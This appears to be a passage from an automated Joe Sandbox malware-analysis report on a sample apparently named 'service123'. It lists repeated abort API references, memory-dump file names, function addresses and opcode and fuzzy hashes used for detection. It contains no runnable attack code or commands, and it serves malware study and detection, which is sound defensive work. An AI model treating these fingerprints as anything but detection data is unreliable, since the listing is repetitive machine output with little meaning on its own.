abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction ID: 8fb901fa954e7d9d0d3a06cd851c85e0834f42b7dbeab2947fc9441d45b228a7
Opcode Fuzzy Hash: ed9e904bdc960e0274c863daabe7c540bf0483139fdd577b2139e1be0fdb7577
Instruction Fuzzy Hash: EBF027356CC03EDA87242FED87144A57373B69730DB9A0A62C4807BF14D222E403C251

Function 6C7ABEE7 Relevance: 37.6, APIs: 25, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eee4202c1ad0b85725f262932e8790025d20152702d3fa5acf45aec60315f6c6
Instruction ID: 29de98e0fb74974f2f38a8eacccb64188bba769486d71d82ab23609a206239cb
Opcode Fuzzy Hash: eee4202c1ad0b85725f262932e8790025d20152702d3fa5acf45aec60315f6c6
Instruction Fuzzy Hash: FC019073A45A2A07E3144EB4C6E1361BA926FC7318F1DC779CD7527E8AC274B80AE750

Function 6C7ABC1B Relevance: 37.6, APIs: 25, Instructions: 55COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction ID: 37fd3b2bf23d0fc7cd68a72a8115e4f983c5226604a869635c436bb999e1ada8
Opcode Fuzzy Hash: 77b11931abd096bc3338c5977b156239d319a097d063f506d711946b206ded35
Instruction Fuzzy Hash: 56E0863264932D8786206DD8F7450AEB2549B53359F111D28C529B3D01D352E809C2C2

Function 6C7ABE70 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction ID: 82ce9f067b69a7eeea046b14e4a6a4675f870500ad5c7d5d61a6e0f5c1675562
Opcode Fuzzy Hash: 2752d643918e1e1032e991af4b8656a5a6dc123bbfd1704150af43cc30d29a6a
Instruction Fuzzy Hash: 4DD01734189719CF8310EF48D3988A9B7F5AB5B305B019E69C409A7B20D632D808CA01

Function 6C7ABE00 Relevance: 37.5, APIs: 25, Instructions: 46COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction ID: bbbbf05bfb91e21a0719fd7ce961f053536d742e2e9ed027351b1220093c4451
Opcode Fuzzy Hash: f1bdf92fe784dd716450a381fcbe393cc49dbea88f7ca8833756bdcf582f8442
Instruction Fuzzy Hash: 49D0A73054D12BCB8B045F6C839D8ADF7F57B5730871A5DA4C015F3E05E631EA0AC604

Function 6C7ABDC7 Relevance: 37.5, APIs: 25, Instructions: 44COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction ID: fe47e47af2832ef119fc8eb13db6f7a0b7cb6769e7e7029790671a5f7559dcb4
Opcode Fuzzy Hash: 2018c9856225a1e0aff8a6428b538321e9f063033382905ac13f326accea8504
Instruction Fuzzy Hash: A1C01235989329CBC2202DD8535936AF2A4AB27205F122D18886533E00CB61F805C545

Function 6C7ABE98 Relevance: 37.5, APIs: 25, Instructions: 43COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction ID: 3b6e90ca4c2ef15386810c5fded6105c5e0a1e6b93dc67da8a3600d3c08229ff
Opcode Fuzzy Hash: bc52ccfba1c464a848b42941d0ab8aaff6de37609b708ea6479571ad4f8441ac
Instruction Fuzzy Hash: 42C01239659229CB8310AEC4D3594A9B2B4BB6B304F012D54C41173B00C770F409C541

Function 6C7ABDE8 Relevance: 37.5, APIs: 25, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction ID: 2bf2b18f30833c4a548e29dad7182cf6898de167f61a61a487cd2ab181e4ef40
Opcode Fuzzy Hash: 69f2f5bcc04e92503fe01ced6f102d5792e48c4d85d4df18c058018d50acc486
Instruction Fuzzy Hash: 10C08C309CC329CB02103D88539E078B2B42727225B062E14C01033F00CA23E809C044

Function 6C7AC150 Relevance: 36.3, APIs: 24, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbf16805eee3efb85350a7101fd45742c586b5f778198080e7a5ad7eb473968
Instruction ID: 328391f590a328338eebf422338faa4abe253cdfea4d8043a234a9cebafcdece
Opcode Fuzzy Hash: 4dbf16805eee3efb85350a7101fd45742c586b5f778198080e7a5ad7eb473968
Instruction Fuzzy Hash: F3B1F471608346DFD720DF98C58075ABBF1BF86308F044A6DE9949BB42D336E806CB92

Function 6C7AC470 Relevance: 33.2, APIs: 22, Instructions: 152COMMON

